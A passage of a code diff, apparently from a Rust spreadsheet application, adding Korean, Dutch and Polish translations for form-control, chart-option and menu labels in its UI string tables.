"Checkbox" => "확인란",
|
||||
"Insert checkboxes in the selected cells" => "선택한 셀에 확인란 삽입",
|
||||
"Button" => "단추",
|
||||
"Slider" => "슬라이더",
|
||||
"Spin Button" => "스핀 단추",
|
||||
"Draw a button that runs a macro or a command" => "매크로나 명령을 실행하는 단추 그리기",
|
||||
"Draw a slider that sets a whole number in a linked cell" => "연결된 셀에 정수를 설정하는 슬라이더 그리기",
|
||||
"Draw a spin button that steps a whole number in a linked cell" => "연결된 셀의 정수를 증감하는 스핀 단추 그리기",
|
||||
"Edit Text" => "텍스트 편집",
|
||||
"Assign Action…" => "동작 지정…",
|
||||
"Format Control…" => "컨트롤 서식…",
|
||||
"Header & Footer" => "머리글 및 바닥글",
|
||||
"Draw with ink" => "잉크로 그리기",
|
||||
"Eraser" => "지우개",
|
||||
@@ -249,6 +259,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "범례: 아래쪽",
|
||||
"Legend: Top" => "범례: 위쪽",
|
||||
"Legend: Right" => "범례: 오른쪽",
|
||||
"First slice angle" => "첫째 조각의 각도",
|
||||
"Doughnut hole size" => "도넛 구멍 크기",
|
||||
"Gridlines: None" => "눈금선: 없음",
|
||||
"Gridlines: Show" => "눈금선: 표시",
|
||||
"Chart\nTitle" => "차트\n제목",
|
||||
|
||||
@@ -61,6 +61,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Opmaak-\nvenster",
|
||||
"Format" => "Opmaak",
|
||||
"Insert" => "Invoegen",
|
||||
"Header Menu|Insert" => "Invoegen",
|
||||
"Insert Cells…" => "Cellen invoegen…",
|
||||
"Delete" => "Verwijderen",
|
||||
"Delete Cells…" => "Cellen verwijderen…",
|
||||
@@ -114,6 +115,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Sparklines" => "Sparklines",
|
||||
"Checkbox" => "Checkbox",
|
||||
"Insert checkboxes in the selected cells" => "Checkboxes invoegen in de geselecteerde cellen",
|
||||
"Button" => "Knop",
|
||||
"Slider" => "Schuifregelaar",
|
||||
"Spin Button" => "Kringveld",
|
||||
"Draw a button that runs a macro or a command" => "Een knop tekenen die een macro of een opdracht uitvoert",
|
||||
"Draw a slider that sets a whole number in a linked cell" => "Een schuifregelaar tekenen die een geheel getal in een gekoppelde cel instelt",
|
||||
"Draw a spin button that steps a whole number in a linked cell" => {
|
||||
"Een kringveld tekenen dat een geheel getal in een gekoppelde cel stapsgewijs wijzigt"
|
||||
}
|
||||
"Edit Text" => "Tekst bewerken",
|
||||
"Assign Action…" => "Actie toewijzen…",
|
||||
"Format Control…" => "Besturingselement opmaken…",
|
||||
"Header & Footer" => "Koptekst & voettekst",
|
||||
"Draw with ink" => "Tekenen met inkt",
|
||||
"Eraser" => "Gum",
|
||||
@@ -253,6 +265,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Legenda: onder",
|
||||
"Legend: Top" => "Legenda: boven",
|
||||
"Legend: Right" => "Legenda: rechts",
|
||||
"First slice angle" => "Hoek eerste punt",
|
||||
"Doughnut hole size" => "Grootte van het donutgat",
|
||||
"Gridlines: None" => "Rasterlijnen: geen",
|
||||
"Gridlines: Show" => "Rasterlijnen: weergeven",
|
||||
"Chart\nTitle" => "Grafiek-\ntitel",
|
||||
|
||||
@@ -56,6 +56,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Format\nPane" => "Okienko\nformatowania",
|
||||
"Format" => "Formatuj",
|
||||
"Insert" => "Wstaw",
|
||||
"Header Menu|Insert" => "Wstaw",
|
||||
"Insert Cells…" => "Wstaw komórki…",
|
||||
"Delete" => "Usuń",
|
||||
"Delete Cells…" => "Usuń komórki…",
|
||||
@@ -109,6 +110,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Sparklines" => "Wykresy przebiegu w czasie",
|
||||
"Checkbox" => "Pole wyboru",
|
||||
"Insert checkboxes in the selected cells" => "Wstaw pola wyboru w zaznaczonych komórkach",
|
||||
"Button" => "Przycisk",
|
||||
"Slider" => "Suwak",
|
||||
"Spin Button" => "Pokrętło",
|
||||
"Draw a button that runs a macro or a command" => "Narysuj przycisk, który uruchamia makro lub polecenie",
|
||||
"Draw a slider that sets a whole number in a linked cell" => "Narysuj suwak, który ustawia liczbę całkowitą w połączonej komórce",
|
||||
"Draw a spin button that steps a whole number in a linked cell" => {
|
||||
"Narysuj pokrętło, które zmienia o krok liczbę całkowitą w połączonej komórce"
|
||||
}
|
||||
"Edit Text" => "Edytuj tekst",
|
||||
"Assign Action…" => "Przypisz akcję…",
|
||||
"Format Control…" => "Formatuj formant…",
|
||||
"Header & Footer" => "Nagłówek i stopka",
|
||||
"Draw with ink" => "Rysuj piórem",
|
||||
"Eraser" => "Gumka",
|
||||
@@ -240,6 +252,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
|
||||
"Legend: Bottom" => "Legenda: u dołu",
|
||||
"Legend: Top" => "Legenda: u góry",
|
||||
"Legend: Right" => "Legenda: z prawej",
|
||||
"First slice angle" => "Kąt pierwszego wycinka",
|
||||
"Doughnut hole size" => "Rozmiar otworu pączka",
|
||||
"Gridlines: None" => "Linie siatki: brak",
|
||||
"Gridlines: Show" => "Linie siatki: pokaż",
|
||||
"Chart\nTitle" => "Tytuł\nwykresu",
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user